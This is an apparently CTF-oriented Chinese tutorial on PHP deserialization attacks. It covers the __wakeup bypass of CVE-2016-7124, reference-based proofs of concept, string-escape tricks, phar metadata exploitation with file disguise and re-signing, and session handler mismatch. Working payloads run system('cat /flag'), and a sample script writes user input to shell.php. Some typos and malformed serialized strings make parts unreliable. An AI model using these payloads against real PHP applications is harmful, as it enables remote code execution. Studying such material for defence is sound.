PHP反序列化

PHP反序列化漏洞

漏洞产生原理

反序列化的参数用户可控,服务器接收我们序列化后的字符串并且未经过过滤把其中的变量放入一些魔术方法内执行,容易产生漏洞。

常见魔术方法

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法

__construst():具有构造函数的类在创建新对象的时候,回调此方法

__destruct():反序列化的时候,或者对象销毁的时候调用

__wakeup():反序列化的时候调用

__sleep():序列化的时候调用

__toString():把类当成字符串的时候调用,一般在echo处生效

__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__get():读取不可访问或者不存在的属性的时候,进行赋值

__call():在对象中调用一个不可访问的方法的时候,会被执行

漏洞实例

wakeup()绕过

修改变量数出发漏洞

CVE-2016-7124

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
class A{
    var $target = "test";
    function __wakeup(){
        $this->target = "wakeup!";
    }
    function __destruct(){
        $fp = fopen("C:\\phpstudy_pro\\WWW\\unserialize\\shell.php","w");
        fputs($fp,$this->target);
        fclose($fp);
    }
}

$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "shell.php<br/>";
include(".\shell.php");
?>

代码正常的执行逻辑:

  • unserialize( )会检查是否存在一个_wakeup( )方法。_

  • 本例中存在,则会先调用_wakeup()方法,预先将对象中的target属性赋值为"wakeup!"。

    Note

    不管用户传入的序列化字符串中的target属性为何值,wakeup()都会把$target的值重置为"wakeup!"

  • 由于我们需要修改值,所以就需要绕过wakeup()进行我们的反序列化。

这个可以通过修改序列化之后那串内容具体有几个参数来绕过

例如:

1
2
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}	# 原
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}	# 改

通过变量数值修改属性个数

变量引用

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}

$flag = new test();
$flag->b = &$flag->a;
$flag->c = "system('cat /fffffffffflagafag');";

echo urlencode(serialize($flag));

直接去掉最后一个括号

原理是出现这个序列化字符串报错导致直接触发__destruct

PHP反序列化字符逃逸

逃逸原理

反序列化时,是以}来进行结尾的,同时在字符串内,是以关键字后面的数字来规定所读取的内容的长度。

过滤后字符变多

原理是出现这个序列化字符串报错导致直接触发__destruct

正常反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
class A{
	public $a='qqqqqqq';
	public $b='21';
}
function filter($a){
	$filter='/q/i';
	return preg_replace($filter,'ww',$a);
}
$a=new A;
echo serialize($a);

运行结果

1
string(45)"O:1:"A":2{s:1:"a";s:1:"q";s:1:"b";s:2:"21";}"
关键函数

【将序列化后的值,将所有的'q'变为'ww'

1
2
3
4
function filter($a){
    $filter='/q/i';
    return preg_replace($filter,'ww',$a);
}
目的

要将反序列后$b的值变为我们想要的值。

带过滤的源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
class A{
	public $a='qqqqqqq';
	public $b='21';
 
	function filter($a){
        $filter='/q/i';
        return preg_replace($filter,'ww',$a);
    }
}
$a=new A;
echo serialize($a));
echo'<pre>';
$r=filter(serialize($a));
echo $r;

运行结果

1
2
3
O:1:"A":2:{s:1:"a"s:7:"qqqqqqa";s:1:"b"s:2:"21";}

0:1:"A":2{s:1:"a";s:7:"wwwwwwwwwwwwww";s:1:"b";s:2:"21";}

假设我们想要$b=104,构造的$b的值的序列化后为:

1
";s:1:"b";s:3:"104";}

其中";是用来闭合的

逃逸方法

如果直接等于";s:1:"b";s:3:"104";}的结果:

1
2
3
0:1:"A":2{s:1:"a"s:28:"qqqqqqq"s:1:"b"s3:"104";}"s:1:"b"s:2:"21";}

0:1:"A":2{s:1:"a";s:28:"wwwwwwwwwwwwwwwww";s:1:"b";s:3:"104";}";s:1:"b";s:2:"21";}

如果我们把s:28后面的内容以字符串按要求填满了28个,那么s:1:“b”;s:3:“104”;}就会被包含在序列化字符串内。

}”后面的内容,即;s:1:"b";s:2:"21";}"就不会被认为是序列化字符串的内容,从而执行了我们构造的";s:1:"b";s:3:"104";},即让一个成员b的值为104

构造:在上面,只要让'w'字符的数量按要求达到s:后面所要求的的数量(28)即可。

filter函数中,一个q被换成了两个w,所以让q的数量等于";s:1:"b";s:3:"104";}的字符串长度就行了。因为";s:1:"b";s:3:"104";}的字符串长度为21,让q的数量为21,反序列化后A的值的长度为就是q的数量加上";s:1:"b";s:3:"104";} 的长度(42),在filter()之后,w的数量就是刚好42,而我们添加上去的字符串就会被逃逸出来,会在反序列化的时候成功执行

最终

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class A{
    public $a='qqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"104";}';
    public $b='21';
 
}function filter($a){
    $filter='/q/i';
    return preg_replace($filter,'ww',$a);
}
$a=new A;
var_dump(serialize($a));
echo'<pre>';
$r=filter(serialize($a));
var_dump($r);

得到:

1
2
string(87) "O:1:"A":2:{s:1:"a";s:42:"qqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"104";}";s:1:"b";s:2:"21";}"
string(108) "O:1:"A":2:{s:1:"a";s:42:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";s:1:"b";s:3:"104";}";s:1:"b";s:2:"21";}"

然后再进行反序列化就可以发现,$b的值变成了104。

1
print_r(unserialize($r));

综述: 让字符’w’占用了原本属于";s:1:“b”;s:3:“104”}的位置,从而让";s:1:“b”;s:3:“104”}逃逸出去而成功执行。

过滤后字符变少

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
function str_rep($string){
    return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<pr>');
print("sign:".$fake['sign'].'<pr>');
print("number:".$fake['number'].'<pr>');
?>

这段代码是接收了参数name和sign,且number是固定的

经过了序列化=>正则匹配替换字符串减少=>反序列化的过程后输出结果

我们的目的就是通过控制传参name和sign,间接改变number

逃逸方法

sign中传";s:6:"number";s:4:"2000";}无法使用

由于sign的字符串个数为27,所以后面的";s:6:"number";s:4:"2000";}的payload被当作了字符串sign的值,而没有被当作序列化语句去反序列化

因此需要过滤函数了给我们实现字符逃逸

我们需要的payload雏形:

1
a:3:{s:4:"name";s:24:"";s:4:"sign";s:54:"hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}

需要放入的test的个数有24个字符串(也就是name的值)

字符串逃逸综述

  1. 字符串增加:

    构造的序列化加在qqqq(就是值有很多qqqq的)那个变量里。字符串减少:构造的序列化加在另一个变量里。

    • 构造的序列化语句和过滤的值在同一个变量
    • 构造过滤的值的个数就是构造的序列化语句的字符串个数
  2. 字符串减少:

    字符串'qqqqxxx'的数量依照构造的那个序列化字符串的长度。字符串减少:字符串'qqqqxxx'的数量依照O:1:"A":2{s:1:"a";s:44:"wwwwwwwwwwwwwwwwwwwwww";s:1:"b";s:22:"A";s:1:"b";s:3:"104";}";}中替换部分的长度。

    • 构造的序列化语句和过滤的值不在同个变量里
    • 构造过滤的值是name的值的个数

phar反序列化

利用条件

  • phar文件可上传
  • 文件流操作函数如file_exists()file_get_contents()等影响函数要有可利用的魔术方法做跳板
  • 文件流参数可控,且phar://没有被过滤,或可绕过

影响函数

  • filetime()
  • filectime()
  • file_exits()
  • file_get_contents()
  • file_put_contents()
  • file()
  • filegroup()
  • fopen()
  • fileinode()
  • filetime()
  • fileowner()
  • fileperms()
  • is_dir()
  • is_executable()
  • is_file()
  • is_link()
  • is_readable()
  • is_writable()
  • is_writeable()
  • parse_ini_file()
  • copy()
  • unlike()
  • stat()
  • readfile()

构造phar文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
class LoveNss{
    public $ljt="Misc";
    public $dky="Re";
    public $cmd="system('cat /flag');";
}

$a = new LoveNss();
echo serialize($a);

# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub

$phar->setMetadata($a); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();

读取这个直接phar://文件名

记得加上文件相对位置

绕过方法

  1. compress.bzip2://phar://

  2. compress.zlib://phar:///

  3. php://filter/resource=phar://

  4. $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

  5. 绕过__HALT_COMPILER ();检测

    php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>

    这段代码,对前面的内容或者后缀名是没有要求的。

    那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

    1
    2
    3
    4
    5
    
    <?php
    system("gzip newtest.phar");
    
    // 将压缩后的1.phar文件重命名为1.jpg
    rename("newtest.phar.gz", "1.jpg");

​ 最后把文件上传后在删除文件处抓包,?filename=phar://1.jpg即可

  1. 绕过__construct

    先010里面把序列化字符修改成员数

    然后重新签名

    1
    2
    3
    4
    5
    6
    7
    8
    
    from hashlib import sha1
    with open('phar.phar', 'rb') as file:
        f = file.read() 
    s = f[:-28] # 获取要签名的数据
    h = f[-8:] # 获取签名类型和 GBMB 标识
    newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
    with open('newtest.phar', 'wb') as file:
        file.write(newf) # 写入新文件

session反序列化

漏洞原理

//ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); 当php_serialize处理器处理接收session,php处理器处理session时便会造成反序列化的可利用

因为php处理器是有一个|间隔符,当php_serialize处理器传入时在序列化字符串前加上|,即|O:7:"xiaoxin":1:{s:4:"name";s:7:"xiaoxin";}"

此时session值为a:1:{s:7:"session";s:44:"|O:7:"xiaoxin:1:{s:4:"name";s:7:"xiaoxin";}";}当php处理器处理时,会把|当作间隔符,取出后面的值去反序列化,即是我们构造的payload:

|O:7:"xiaoxin:1:{s:4:"name";s:7:"xiaoxin";}"

0%